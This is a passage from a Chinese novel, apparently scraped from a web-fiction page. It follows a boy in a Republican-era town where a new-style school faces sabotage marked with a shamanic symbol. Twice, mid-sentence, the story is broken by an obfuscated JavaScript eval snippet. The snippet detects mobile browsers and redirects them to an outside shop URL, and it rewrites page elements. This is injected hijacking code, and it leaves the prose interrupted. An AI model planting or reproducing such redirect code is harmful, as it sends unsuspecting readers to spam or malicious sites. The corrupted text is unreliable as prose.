张老太爷沉默了很久，久到张静轩以为他又不会回答了。但这次，他开了口，声音压得很低：“十年前，镇东头李家办私塾，请了个新派先生，教算学和格致。开学前夜，先生住的厢房门上，被人用刀刻了个‘止’字。” 张静轩屏住呼吸。 “五年前，陈老秀才想重修文峰塔，募捐的册子刚做好，就被人偷了，扔在青云河里。”张老太爷的目光有些悠远，“这两件事，镇上人都说是巧合。可如今……” 他没有说下去，但意思已经明了。有人，或者有一股力量，在暗中阻挠青石镇的改变。无论是新式教育，还是复兴文风，都在被打压之列。 “为什么要这样？”张静轩不解，“办学堂是好事啊。” “对有些人来说，不是。”张老太爷站起身，走到窗前，“静轩，你要明白，这世上的事，不是非黑即白。有人希望百姓开智，就有人希望百姓愚昧。有人盼着世道变新，就有人巴不得一切照旧。这青石镇看似平静，底下也是有暗流的。这个老哑头不过来青石镇不过两年，这些事他居然知道的也这么清晰。” 窗外，秋日的阳光明晃晃的，照得庭院里那几盆菊花金黄灿烂。可张静轩却感到一丝寒意，从脚底慢慢爬上来。 下午，他照例去后院练箭。那把榆木弓握在手里，比往日更沉了。他搭箭，拉弦，瞄准老槐树上新悬的一枚铜钱——这是他自己挂的，比之前那枚小一圈。 弓弦拉到一半，他忽然停了。 眼前闪过梁上那道刻痕，闪过暗红色的陶片，闪过老哑头伸出的三根手指。这些碎片在脑海里旋转，拼凑不出完整的图案，却隐隐指向某个他不了解的、青石镇的另一面。 “手腕松了。” 张静轩一惊，回头看见卢明远站在月洞门下，手里提着个布包。 “卢大哥？你怎么……”张静轩并未因对方年长且见识广而露怯，反而将怀中那本《泰西工艺初探》抱得更紧了些，抬眼迎上卢明远的目光。卢明远见状，脸上公式化的笑意淡去，换上一丝真正的兴趣。 “来找你爹商量开学典礼的事，顺道过来看看。”卢明远走近，接过他手里的弓，掂了掂，“好弓。你爹给的？” 张静轩点头。 卢明远拉了拉弓弦，试了试力道：“守静笃，观复明……你爹对你期望很高。”他将弓递还，从布包里取出一本书，“这个，给你。” 那是一本《新青年》杂志，封面已经卷边，显然是翻阅过很多次的。张静轩接过，翻开扉页，上面用钢笔写着一段话：“青年如初春，如朝日，如百卉之萌动，如利刃之新发于硎。——□□” “这是去年我在省城买的，”卢明远说，“如今不太容易见到了。里头有些文章，你看了或许会有启发。” 张静轩小心地捧着杂志，像捧着一簇火苗。“卢大哥，早上的事……你怎么看？” 卢明远在石凳上坐下，摸出烟卷，想了想又放回去。“有人不想让学堂办成，”他直截了当，“但手段不算狠。若是真下黑手，放把火就是了，何必划一道痕？” “你是说……这只是警告？” “试探。”卢明远纠正道，“看看咱们的决心有多大，看看镇上的人心向着哪边。”他看向张静轩，“静轩弟，你记住，变革从来不是请客吃饭。即便是在青石镇这样的小地方，新东西要扎下根，也得破开旧土——而旧土，总是硬的。” 这话让张静轩想起老哑头说的“外头这世道是会咬人的”。他忽然问：“卢大哥，你在省城，见过更大的世面。外头的世界……真的那么乱吗？” 卢明远没有立刻回答。他抬起头，看着老槐树枝叶间漏下的天光，那些光斑在他脸上明明灭灭。“乱，”他终于说，“但也新。静轩，你听说过‘德先生’和‘赛先生’吗？” 张静轩摇头。 “德先生是民主，赛先生是科学。”卢明远的声音里有一种年轻人特有的热切，“外头有人在喊，要请这两位先生来救中华民国。有人说这是痴人说梦，有人说这是唯一的出路。”他顿了顿，“而青石镇的这所学堂，就是咱们请‘赛先生’进来的第一步。” “那德先生呢？” 卢明远笑了，笑容有些复杂：“饭要一口一口吃，路要一步一步走。先学科学，明事理，再谈其他。” 两人又说了会儿话，卢明远便告辞了。张静轩独自坐在后院，翻看那本《新青年》。文章里的句子像火种，烫着他的眼睛：“伦理的觉悟，为吾人最后觉悟之最后觉悟。”“我们现在认定只有这两位先生，可以救治中华民国政治上道德上学术上思想上一切的黑暗。” 太阳西斜时，福伯来叫他吃晚饭。张静轩合上杂志，忽然问：“福伯，您知道镇上有什么人……特别反对新事物吗？比如，特别守旧的那种？” 福伯正在收拾石凳上的箭矢，闻言手顿了顿：“小少爷怎么问这个？” “随便问问。” 老管家直起身，叹了口气：“要说守旧，陈老秀才算一个，但他那是读书人的固执，心眼不坏。真正……”他压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140645|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音，“真正要留神的，是那些不说话、只做事的人。” “比如？” 福伯摇摇头，不肯再说，只催促：“快去吃饭吧，老爷夫人等着呢。” 晚饭后，张静轩回到自己房间，点亮油灯，将那片暗红色的陶片放在桌上，旁边摊开《新青年》。一古一今，一旧一新，在昏黄的灯光下静静对峙。 他拿起陶片，对着灯光仔细看。这一次，他发现了之前没注意的细节：碎片内壁有一道极浅的刻痕，像是某种符号的一角。他用指尖描摹那痕迹，忽然想起什么，从书柜底层翻出一本《金石索隐》——这是大哥留下的书，里头收录了许多古器物上的纹样。 翻到记载符咒纹样的一章，他举着陶片一一比对。终于，在某一页的角落里，他找到了相似的图案：那是一个变体的“禁”字，常用于道教镇物。 张静轩的心跳加快了。他想起母亲说的“道士画符用的朱砂”，想起梁上那道凌厉的刻痕。这不是简单的恶作剧或警告，而是带着某种仪式感的阻挠。 窗外传来打更声，二更天了。张静轩吹熄灯，躺在黑暗里，陶片紧紧攥在掌心，硌得生疼。 半夜里，他忽然惊醒。不是被声音吵醒，而是某种直觉——像野兽感知到危险的本能。他轻手轻脚起身，走到窗边，掀开一条缝。 月光很好，照得庭院一片银白。院墙的阴影里，似乎有什么东西动了一下。张静轩屏住呼吸，睁大眼睛。 一个黑影从墙根闪过，动作快得不像老人……月光照亮那人侧身探查檐下阴影的瞬间，张静轩看见了一张紧绷的侧脸------花白的头发，身形依旧佝偻，但那双眼睛在黑暗里锐利如刀，正飞速扫过庭院的每个角落，窗下、门边、老槐树的枝桠间。 老哑头…… 他半夜潜入，绝非乞讨。 …… 只见老哑头在庭院中央略作停顿，并未做任何奇怪手势。他极快地蹲下身，用手指拂过青砖缝隙，又凑近嗅了嗅，像是在检查有无异常气味或痕迹。随后，他抬头，目光如电，径直投向张静轩房间的窗户——张静轩猛地缩回窗后，心口狂跳。 待他再悄悄望去时，那黑影已如来时一般，狸猫似的翻过墙头，消失在沉沉的夜色里，只留下庭院中一片被惊动的月光，碎银般晃动着。张静轩这才发觉，自己掌心已被那断陶片的棱角硌出了深印。 张静轩在窗边站了很久，直到夜风吹得他手脚冰凉。掌心那片陶片，不知何时已被汗水浸湿。 第二天，镇上传来消息：新请的先生们到了。 张静轩跟着父亲去镇公所时，远远就听见里头传来的谈笑声。跨进门槛，他第一眼看见的是个穿灰布长衫的青年，戴一副圆框眼镜，正和陈老秀才说着什么，语速很快，手势丰富。这应该就是程先生了。 而站在窗边的女子—— 张静轩呼吸一滞。 她穿着一身月白色的斜襟上衣，黑色百褶裙，剪着齐耳的短发，发梢微微内扣。年纪约莫二十出头，眉眼清秀，但最引人注目的是那双眼睛：沉静，明亮，像秋日深潭，映着窗外的天光。她手里拿着一本书，正低声和卢明远交谈，听见脚步声，转头看来。 那一瞬间，张静轩忽然明白了卢明远昨日耳根发红的原因。 “张伯父，”卢明远迎上来，脸上带着笑，“这位是程秋实先生，这位是苏宛音先生。” 程秋实上前一步，恭敬行礼：“张老先生，久仰。”他的普通话带着明显的江浙口音，但字正腔圆。 苏宛音也走过来，行礼的姿势很特别，不是万福，而是微微躬身，带着一种书卷气的清傲。最引人注目的是她腕上一只褪色的银镯，花纹古拙，不似凡品：“张老先生好。”她的声音清越，像玉磬轻击。 张老太爷还礼：“二位先生远道而来，辛苦了。寒舍已备下薄酒，为二位接风。” 一行人往张家走时，张静轩故意落在后面。他看见苏宛音走路的姿态——脊背挺直，脚步轻快，裙裾随着步伐微微摆动，既不失女子的柔美，又有一种读书人特有的端方。 “那就是张老太爷的小儿子？”他听见程秋实低声问卢明远。 “对，静轩。很聪慧，就是……”卢明远顿了顿，“被保护得太好了。” 苏宛音忽然回头，正好对上张静轩的目光。她微微一笑，那笑容很浅，却像春风拂过冰面，瞬间让张静轩手足无措，慌忙低下头。 接风宴设在后院的花厅。张夫人亲自下厨，做了几道本地特色菜。席间，程秋实话最多，从省城见闻到教育理念，滔滔不绝。苏宛音话少，但每每开口，都能切中要害。 “青石镇的情况，明远大致跟我们说了。”苏宛音放下筷子，“关于女班，我有一个请求。” “苏先生请讲。”张老太爷道。 “我希望女班不仅教识字算学，也教一些实用的技能。”她的目光清澈而坚定，“比如基础护理、缝纫裁剪，甚至简单的记账。女子学了这些，无论将来是持家还是谋生，都有用处。” 陈老秀才也在座，闻言皱眉：“女子学记账……是否太过？” “陈老先生，”苏宛音转向他，语气温和但不退让，“如今城里许多商铺、工厂都开始雇女账房。女子心细，做事稳妥，为何不能学？” “可那些都是抛头露面的……” “持家就不需要记账吗？”苏宛音反问，“一家一户的收支用度，若是主妇能算得清楚，日子岂不更稳当？” 陈老秀才还要说什么，张老太爷抬手止住：“苏先生说得在理。课程安排，全凭二位先生做主。” 程秋实笑道：“张老先生开明。”他转向张静轩，“静轩同学，听说你也报名了？可有什么想学的？” 所有人的目光都投过来。张静轩感到耳根发热，憋了半天，说出一句：“想学……格致。想知道电灯为什么会亮，火车为什么会跑。” 程秋实眼睛一亮：“好！这才是少年人该有的好奇心！” 苏宛音也看着他，眼里有赞许的笑意：“格致课我会协助程先生。我们带了些简单的实验器具，虽然简陋，但足够做些有趣的演示。” 宴席散后，张静轩送两位先生去暂住的客房——那是镇公所旁的一处小院，已经收拾干净。月光下，苏宛音忽然叫住他：“张同学。” “苏先生？” “我听明远说了祠堂梁上的事。”她的声音在夜色里格外清晰，“你不怕吗？” 张静轩一愣，没想到她会问这个。“有点，”他老实说，“但更多的是……不明白。为什么要阻止办学堂呢？” 苏宛音沉默片刻，轻声道：“因为改变总是让人恐惧。对某些人来说，未知的新世界，比熟悉的旧日子更可怕。”她抬头看向星空，“我父亲在世时常说，中华民国要变，最难的不是改制度，是改人心。” “您父亲……” “他是维新党人，戊戌年之后，一直郁郁。”苏宛音的语气很平静，像在说别人的事，“他临死前对我说，宛音，若有机会，去教书。一个先生能教出的，不止是一个学生，是一颗种子。种子会发芽，会开花，会结果。” 她说完，微微一笑：“早些休息吧。三天后开学，我可是很严格的。” 张静轩看着她走进院门的背影，月白的衣衫在夜色里像一抹清辉。他忽然想起《新青年》里的一句话：“青年之字典，无‘困难’之字；青年之口头，无‘障碍’之语。” 回到自己房间，他将那片陶片和《新青年》放在一起，又拿出那把榆木弓，指尖摩挲着“守静笃，观复明”六个字。 窗外，秋虫啁啾。更夫的梆子声从远处传来，三更了。 三天后，青石镇的新式学堂，就要开学了。 这三天里，青石镇悄然变化着。程秋实和苏宛音先生已安顿在镇公所旁的小院。 苏先生话不多，常独自在祠堂内外走动，手指拂过新漆的门窗，眼神沉静；程先生则活力十足，拉着卢明远走街串巷，拜访有望送孩子入学的人家，逢人便讲新学的好处。 张老太爷又往祠堂运去了两车新打的桌椅，福伯带着伙计们清扫整理，直至夜深。 镇上的孩子们路过时，总要扒着门缝好奇地望一望——那空荡荡的堂屋，很快就要被他们的读书声填满了。 4. 第四章 开学日 开学那日，青石镇的天蓝得透亮，像一块刚洗过的靛青布。 张静轩醒得比往日都早……窗外还是蟹壳青的颜色，他已经穿戴整齐，对着铜镜仔细理了理学生装的领口。镜中的少年，眉眼间还留着稚气，但下颌线已显出些许硬朗的轮廓。他拿起那把榆木弓，在手里掂了掂，又放回架上。 前院传来动静。张静轩推门出去，看见福伯正指挥着两个伙计往板车上搬东西——是几大捆簇新的课本，油墨味混在晨雾里，清冽又陌生。 “小少爷早。”福伯擦了擦额头的汗，“这些是昨儿半夜才从省城运到的，程先生和苏先生亲自点的书目。” 张静轩走近，随手翻开最上面一本。是《共和国教科书·国文》，扉页印着孙中山先生的肖像，下方一行小字：“自由平等博爱”。他摩挲着纸张，忽然有种奇异的触感——这些书页将要承载的，不止是文字。 早饭时，张夫人往儿子碗里添了勺肉臊子：“多吃些，第一日上学，费精神。”她顿了顿，声音放轻，“你爹天没亮就去祠堂了，说要再检查一遍。” 张静轩抬头：“爹还在担心那刻痕的事？” 张夫人没说话，只又夹了个煎饺给他。但张静轩看见，母亲眼下有淡淡的青影。 祠堂前的空地上已经聚了不少人。有送孩子来的家长，有纯粹看热闹的镇民，还有几个挎着篮子的妇人，篮里装着煮鸡蛋和炒花生——按本地风俗，孩子第一日上学，要吃“聪明蛋”。 张静轩穿过人群，看见西厢的门楣上挂了块新匾，黑底金字：“青石镇新式学堂”。字是陈老秀才写的，颜体，敦厚端正。匾额下，程秋实和苏宛音并肩站着，两人都穿了崭新的长衫和裙装，像两株挺拔的植物。 “静轩同学！”程秋实看见他，眼睛一亮，“来得正好，帮我把这风琴抬进去。” 那是一架脚踏风琴，漆面已经斑驳，但键盘洁白。张静轩和卢明远一起，费力地将它抬进正堂。堂内摆了三十来套桌椅，都是新打的松木，散发着树脂的清香。最前方是一块刷了黑漆的木板，旁边立着个木架，上头放着粉笔和板擦。 “这是黑板？”张静轩问。 “对。”苏宛音跟进来，手里拿着一盒彩色粉笔，“程先生从省城旧货市场淘来的，虽然旧，但好用。”她走到黑板前，用白色粉笔写下几个字：“开学第一课”。 字迹清秀，却有筋骨。 外头传来喧哗声。张静轩走到窗边，看见父亲和陈老秀才、镇长等人站在院中，正在说话。陈老秀才今日特意穿了件深蓝绸衫，手里拄着那根紫檀拐杖，神情庄重。 “吉时到——”镇长拉长了声音。 程秋实和苏宛音对视一眼，并肩走出去。张静轩跟在后面，心跳莫名加快。 祠堂前的石阶上，镇长清了清嗓子：“诸位乡亲，今日是青石镇的大日子。咱们的新式学堂，正式开学了！”他顿了顿，声音低了些，“这学堂能办成，多亏张公鼎力相助，也多亏各位乡邻支持。现在，请张公说几句。” 张老太爷往前走了两步。晨光落在他花白的鬓角上，镀了层淡金。他环视着在场的人，目光在每个孩子脸上停留片刻。 “我不多说，”他开口，声音不高，但字字清晰，“只一句：进了这学堂的门，你们学的不仅是识字算数，更是做人的道理。先生教你们，你们也要教先生——教先生知道，咱们青石镇的孩子，有志气，有骨气。” 人群静了一瞬，然后爆发出掌声。张静轩看见，父亲说完这话，目光投向远方青云山的方向，久久没有收回。 接着是程秋实讲话。他显然准备过，从教育救国的理念讲到新学的内容，慷慨激昂。但张静轩注意到，许多镇民听得茫然——那些“德先生赛先生”的话，离青石镇的日常太远了。 轮到苏宛音时，她只说了三句：“我会尽力教好每一个学生。无论男孩女孩，在我眼里都是求知的孩子。学堂的大门，永远向所有想学习的人敞开。” 话很简单，但张静轩看见，人群中有几个妇人悄悄抹了抹眼角。 开学仪式结束，学生们鱼贯进入课堂。一共二十八人，男孩二十，女孩八个，年纪从九岁到十六岁不等。张静轩坐在第三排靠窗的位置，旁边是个叫水生的小子，是码头船工的儿子，手指关节粗大，指甲缝里还留着洗不净的泥垢。周大栓曾憨笑着道：“这小子，别的不行，就记数快。码头上船来船往，他看一眼就晓得哪船货多货少。” 水生显然很紧张，双手紧紧按在膝盖上，崭新的粗布裤子被揉出褶皱。张静轩对他笑了笑，水生愣了一下，也咧开嘴，露出一口白牙。 第一节课是国文，程秋实教。他先讲了课本的来历，又领着大家读第一课：“人，手足。目，视。耳，听。”声音在空旷的堂内回荡，有种奇特的韵律。 张静轩跟着读，目光却飘向窗外。祠堂的院子里，那棵老槐树下，不知何时站了个佝偻的身影——老哑头。他远远望着课堂的方向，一动不动，像一尊风化的石像。 课间休息时，张静轩走出祠堂。老哑头还在那里，见他出来，招了招手。 “老先生，”张静轩走近，“您也来听课？” 老哑头摇摇头，从怀里掏出个油纸包，递过来。张静轩打开，里面是两块芝麻糖，已经有些融化了，黏在纸上。 “给我？” 点头。老哑头又指了指课堂的方向，伸出大拇指。 “您觉得……这是好事？” 老哑头没有立刻回应。他蹲下身，用枯瘦的手指在泥土上划了几个字：“种子已种，小心风雨。” 张静轩心头一紧：“什么风雨？” 老哑头站起身，拍了拍手上的土，又变回那副木然的神情，转身走了。张静轩看着他佝偻的背影消失在祠堂拐角，手里的芝麻糖沉甸甸的。 第二节课是算学，苏宛音教。她先问了几个简单的问题：“如果你阿爹去卖米，一斗米十个铜板，三斗米多少钱？”“如果你阿娘买布，一尺布三个铜板，买五尺要多少钱？” 孩子们纷纷举手，答案五花八门。水生算得最快，几乎脱口而出。苏宛音走到他身边，温和地问：“你怎么算的？” 水生脸红了，低声说：“我……我常在码头帮我爹算货。十个铜板加十个铜板再加十个铜板，就是三十个。三个铜板加三个铜板……” “很好。”苏宛音打断他，声音里有赞许，“你用的方法叫‘累加’。但还有更快的办法。”她转身在黑板上写下：10×3=30，3×5=15。 “这叫乘法。”她说，“学会了，算得又快又准。” 孩子们睁大眼睛看着那些奇怪的符号。张静轩也会乘法——京都先生教过——但此刻坐在这些从未接触过新学的孩子中间，他忽然理解了苏宛音说的“种子”是什么意思。 中午放学，学生们涌出祠堂。家长们等在外头，看见孩子出来，忙不迭地问：“学了啥？”“先生凶不凶？” 水生跑向他爹——一个皮肤黝黑的汉子。汉子揉着儿子的头，咧嘴笑：“好好学，学好了，将来不用像爹这样卖苦力。” 张静轩站在门口，看着这一幕，心里有种说不出的滋味。他想起大哥，那个会偷偷教穷孩子识字的大哥，如果看到今天这场面，会是什么表情？ “静轩同学。” 他回头，看见苏宛音站在台阶上，手里拿着本点名册。“放学了还不回家？” “这就走。”张静轩顿了顿，“苏先生，您觉得……他们能学会吗？” 苏宛音顺着他的目光看向那群渐渐散去的孩子和家長，沉默片刻：“有人能，有人不能。有人会坚持，有人会放弃。但只要有一个人因为进了这学堂，人生有了不一样的风景，这事就值得。” 她说完，转身进了祠堂。张静轩站在原地，回味着这话。 午饭时，张老太爷问起学堂的事。张静轩把上午的课说了，又提起老哑头送的芝麻糖。 张夫人“呀”了一声：“那老哑头……倒是难得。他平日从不与人亲近。” 张老太爷放下筷子，若有所思：“他今日去学堂了？” “在院子里看了很久。” “说了什么？” 张静轩犹豫了一下，还是说了：“他在地上写了‘种子已种，小心风雨’。” 饭桌上静了静。张老太爷缓缓道：“他是见过风雨的人。”说完这句，便不再言语。 午后，张静轩照例去后院练箭。弓弦拉到一半，他忽然停了——墙根下，那片栀子花丛的阴影里，有什么东西在反光。 他走过去，拨开花丛，呼吸一滞。 是半截断裂的刀片，约莫三寸长，宽背薄刃，钢口极好。刀身上沾着泥土，但刃口处寒光凛冽，显然是新断的。张静轩捡起刀片，翻转查看，在靠近断口的地方，发现了一个极小的刻痕：一个变体的“禁”字，和陶片上的纹样一模一样。 他的手开始发抖。这刀片，和梁上刻痕的刀具，是同一把。而这刀片，出现在张家后院里。 “静轩？” 张夫人从廊下走来，看见儿子手里的东西，脸色一白：“这……这是哪来的？” 张静轩将刀片藏在身后：“没什么，一片碎铁。” “给我看看。”张夫人的声音在颤。 张静轩只好递过去。张夫人接过刀片，指尖抚过那个“禁”字符，脸色倏地苍白，不是惊恐，而是一种沉痛的恍然。她迅速将刀片收紧掌心，低语道：“这东西……不该再出现。”她看向儿子的眼神复杂难言，“静轩，这事娘来处理，你莫再问，也先别告诉你爹。” “娘，您知道这是什么？” 张夫人没有回答，只是将刀片收进袖中：“去练箭吧。记住，无论看到什么，听到什么，专心做你该做的事。” 她转身走了，脚步有些踉跄。张静轩看着母亲的背影，心里那团疑云越来越浓。 整个下午他都心不在焉。练箭时，三箭都脱了靶。京都先生来上经史课，讲到“君子不立危墙之下”，他忽然问：“先生，若是危墙不得不立呢？” 京都先生是个清瘦的老者，扶了扶眼镜：“那便加固墙基，或者……拆了危墙，建新的。” “可拆墙会惊动墙里的东西。” 先生看了他一眼，目光深邃：“静轩，你今日有心事。” 张静轩低下头：“学生愚钝。” “你不是愚钝，是看见了不该你这个年纪看见的东西。”先生放下书，“你爹让你学经史，不是要你变成书呆子，是要你明白，这世上的道理，古今相通。危墙也好，新墙也罢，关键不是墙，是墙里住的人要不要改变。” 这话像一道光，劈开了张静轩心里的迷雾。他忽然想：梁上刻痕，后院刀片，老哑头的警告，母亲的异常……所有这些，也许都指向同一个问题：青石镇的某些人，不想改变。 但为什么？新学堂碍着谁了？ 放学后，他没有立刻回家，而是绕道去了镇东头的铁匠铺。铺子老板姓赵，是个独眼老汉，镇上的刀具多出自他手。 赵铁匠正在打一把镰刀，炉火映着他半边脸，汗水顺着皱纹往下淌。看见张静轩，他停了锤：“小少爷，要打什么？” “不打什么，问问。”张静轩掏出早就准备好的纸片，上面描着那个“禁”字符号，“赵师傅，您见过这个纹样吗？” 赵铁匠独眼眯起来，凑近看了半晌，摇摇头：“没见过。这不是咱们这儿的样式。”他顿了顿，“倒像是……关外那些萨满用的符。” “萨满？” “跳大神的。”赵铁匠又抡起锤子，“早些年走关东，见过。他们做法器，刀啊铃啊，上面就刻这种弯弯绕绕的字。” 张静轩心头一动：“关外……很远吗？” “远着呢。”赵铁匠一锤砸在烧红的铁块上，火星四溅，“得过山海关，往北，往北，一直走到能看见毛子人的地方。”他忽然停下手，独眼里闪过一丝什么，“小少爷怎么问起这个？” “随便问问。”张静轩收起纸片，“谢谢赵师傅。” 离开铁匠铺时，天边已经泛起橘红。晚霞像泼翻的胭脂，染红了青石镇的屋瓦。张静轩走在回家的路上，脑子里翻腾着赵铁匠的话：关外，萨满，符咒。 如果刻痕和刀片上的符号真的来自关外，那么老哑头——那个自称去过关外、见过甲午海战的老人——是否知道些什么？他又为什么要在半夜翻进张家院子？ 这些问题像藤蔓，缠绕着张静轩的思绪。走到张家巷口时，他看见卢明远从对面走来，神色匆匆。 “卢大哥？” 卢明远抬头，见是他，松了口气：“静轩弟，正好。程先生和苏先生请你过去一趟，有事商量。” “现在？” “现在。” 两人一同往学堂方向走。路上，卢明远低声说：“今天放学后，有人在学堂后墙涂了东西。” 张静轩心头一紧：“涂了什么？” “四个字：关门大吉。” 学堂后墙是一片灰白的石灰墙，此刻，四个歪歪扭扭的红色大字赫然在目。颜料像是朱砂混合了猪血，在暮色里泛着暗沉的光。程秋实和苏宛音站在墙前，两人的脸色都不好看。 “什么时候发现的？”张静轩问。 “半个时辰前。”程秋实推了推眼镜，镜片后的眼睛里满是疲惫，“守祠堂的老李头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140646|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见的，他说午饭后还没有。” 苏宛音蹲下身，用手指蘸了点未干的颜料，凑到鼻尖闻了闻：“是朱砂和血。血已经凝固了，不是新鲜的。” “也就是说，是预谋好的。”卢明远握紧拳头，“有人早就准备好了。” 张静轩看着那四个字。字写得很丑，笔画歪斜，但每一笔都用力极深，颜料渗进墙皮，像一道道伤口。“这是警告，”他说，“比梁上刻痕更直接的警告。” “我们该怎么办？”程秋实看向苏宛音，“要不要报官？” 苏宛音站起身，拍了拍手上的灰：“报官？镇上唯一的巡警老刘，连自己的名字都写不全。”她语气平静，但张静轩看见，她垂在身侧的手在微微发抖。 “那总不能……” “洗掉。”苏宛音打断他，“现在就洗掉。明天孩子们来上学，不能让他们看见这个。” 卢明远点点头：“我去打水。” 四个人忙活起来。水桶、刷子、抹布，一桶桶清水泼在墙上，红色渐渐淡去，但字痕已经渗进石灰，留下浅浅的印子。暮色越来越浓，最后一点天光消失时，墙上的字终于看不清了。 苏宛音靠在墙上，长长吐出一口气。她的月白衣衫上溅满了水渍和淡红色的痕迹，像雪地上落了梅花。 “苏先生……”张静轩想说些什么，却不知从何说起。 “我没事。”苏宛音直起身，理了理头发，“静轩，你回家吧。今天的事，先别告诉太多人。” “我爹那边……” “我会去说。”卢明远接话，“张伯父有知情权。” 张静轩点点头，转身要走，又停住：“苏先生，程先生，你们……不怕吗？” 程秋实苦笑：“怕，怎么不怕。但怕也得做。”他看向那面被洗刷得斑驳的墙，“我爹是个私塾先生，一辈子教‘之乎者也’。临死前跟我说，秋实啊，老一套救不了中华民国了。你去学新的，教新的。” 苏宛音没有说话，只是仰头看着夜空。几颗疏星已经亮起，冷冷清清。 张静轩回到家时，晚饭已经备好。饭桌上，张老太爷问起学堂的事，张静轩只说一切都好。他看见母亲时不时看向父亲，欲言又止。 饭后，张老太爷叫住儿子：“静轩，跟我来书房。” 书房里点着油灯，光线昏黄。张老太爷从抽屉里取出那片暗红色的陶片，放在书案上：“这个，你收好。” “爹？” “今天卢明远来找过我，说了后墙涂字的事。”张老太爷的声音很平静，“这陶片上的符号，和刀片上的，是同一个。我找人问过，确实来自关外，是萨满教镇物上用的‘禁字符’。” 张静轩屏住呼吸。 “青石镇，有人不想让学堂办下去。”张老太爷缓缓道，“这人懂关外的符咒，手里有利器，行事隐蔽，而且……对张家有特别的关注。” “为什么是张家？” 张老太爷没有立刻回答。他站起身，走到墙边那幅《山河图》前——那是大哥的留白题字处。指尖轻轻拂过画卷，声音低得几乎听不见：“因为你大哥。” “大哥？” “你大哥离家前，镇上出过一桩事。”张老太爷转过身，灯光在他脸上投下深深的阴影，“你还记得有个外乡投靠我们家姓秦的先生吗？其实他不是失踪了。他在镇上贩卖新式书刊，还教人认字，记录民风，也带过你几天的学习。后来……那人被火烧死了。你大哥追查过，没查出结果。不久后，他就参军走了。” 张静轩感到脊背发凉：“您是说……那人……” “我不知道。”张老太爷打断他，“但有些事，冥冥中有联系。秦先生的死亡，你大哥追查，学堂遇阻……这镇上，有股暗流，一直没散。” 窗外传来风声，呼啸着穿过檐角。油灯的火焰跳动了一下，书房里光影摇曳。 “爹，那我们怎么办？” 张老太爷走回书案后，坐下，双手按在案上：“学堂照办。不仅如此，还要办得更好。”他看向儿子，“静轩，从明天起，你每日上学放学，都走大路，不要独自去偏僻处。还有，留心观察，学堂里外，有什么异常的人或事。” “您是要我……” “不是要你做暗探。”张老太爷的目光深沉，“是要你学会看清这世道。学堂里教的是明理，但世道里藏的是人心。这两样，你都得懂。” 张静轩重重点头，喉咙却像被什么堵着。回到书房外廊下，他停下脚步，望着庭院里被月光洗白的青砖。 “爹，”他声音有些干涩，“若我继续查下去……会不会给家里，给学堂，招来更大的祸事？” 张老太爷没有立刻回答。他走到儿子身边，一同看着那铺满庭院的清辉。“静轩”他缓缓道，“你爷爷当年带着我们南逃，路上见到人间至暗。他曾说，人活于世，有些选择，不是权衡祸福之后做的，而是……看见了，心里那杆秤就歪不了了。你大哥当年走，也是因为心里那杆秤。” 他拍了拍儿子单薄却已显韧劲的肩：“怕，是常情。但若因怕而闭目塞听，张家也就不是张家了。只是你要记住，看清楚了，还得想清楚，做扎实。弓在弦上，引而不发，是威慑；箭既离弦，便须有的放矢。” 张静轩深深吸了口气，夜凉的空气沁入肺腑，却点燃了胸中一团火。他回到自己房间，取出那把榆木弓。指腹摩挲着“守静笃，观复明”六个字，一遍，又一遍。守静，是在惊涛中稳住心神。观复，是在迷雾里辨明方向。而现在，他明白了第三步：前行，在看清方向后，稳稳地迈出步子。 窗外，更夫的梆子声传来，三更天了。远处青云河的水声隐约可闻，潺潺的，永不停歇。 张静轩吹熄灯，在黑暗里闭上眼睛。脑海里闪过许多画面：学堂里孩子们认真的脸，苏宛音写字的背影，老哑头在泥土上划的字，后墙上那四个血红的“关门大吉”…… 这些画面交织在一起，像一张网，网住了这个十五岁的秋天。 而他知道，网总要破的。 要么被外力撕裂，要么……从里面挣开。 连着几日，镇上茶余饭后除了学堂的新鲜事，也多了些别的嘀咕。码头上扛活的周大栓跟人念叨，说前些天有个生面孔的“药材商人”在河边转悠，打听的却不是药材行情，尽问“镇上孩子多不多”“祠堂修得如何”。 杂货铺刘掌柜也想起，有个外乡口音的人来买过朱砂和生石灰，量不多，但问得仔细。这些零碎话头，起初没人在意，直到祠堂后墙被泼了粪，梁上发现了刻痕，人们才恍恍惚惚把这些片段拼凑起来——那些看不见的对手，或许早就披着各式外衣，混在日常生活的水流里，窥探着，准备着。 5. 第五章 暗潮 又是一日，青石板路泛着水光，倒映着晨起人家的炊烟。张静轩踩着湿润的石板往学堂走，怀里揣着母亲硬塞的两个煮鸡蛋，还温着。路过祠堂后墙时，他特意放慢脚步——昨夜洗刷的痕迹还在，石灰墙上一片斑驳，像愈合中的伤口，但那些字确实看不见了。 学堂的门已经开了。张静轩走进去，看见苏宛音正蹲在黑板前，用抹布仔细擦拭板面。她今日换了件浅蓝上衣，袖口挽到肘部，露出纤细的手腕。 “苏先生早。”张静轩站在门口。 苏宛音回头，眼底有淡淡的青影，但笑容依然温和：“静轩同学早。吃过了吗？” “吃过了。”张静轩走进来，将书包放在自己的座位上，“您……昨夜没睡好？” “睡得晚了些。”苏宛音站起身，将抹布叠好放在窗台上，“在备今天的课。”她走到讲台边，拿起一本册子，“静轩，有件事想请你帮忙。” 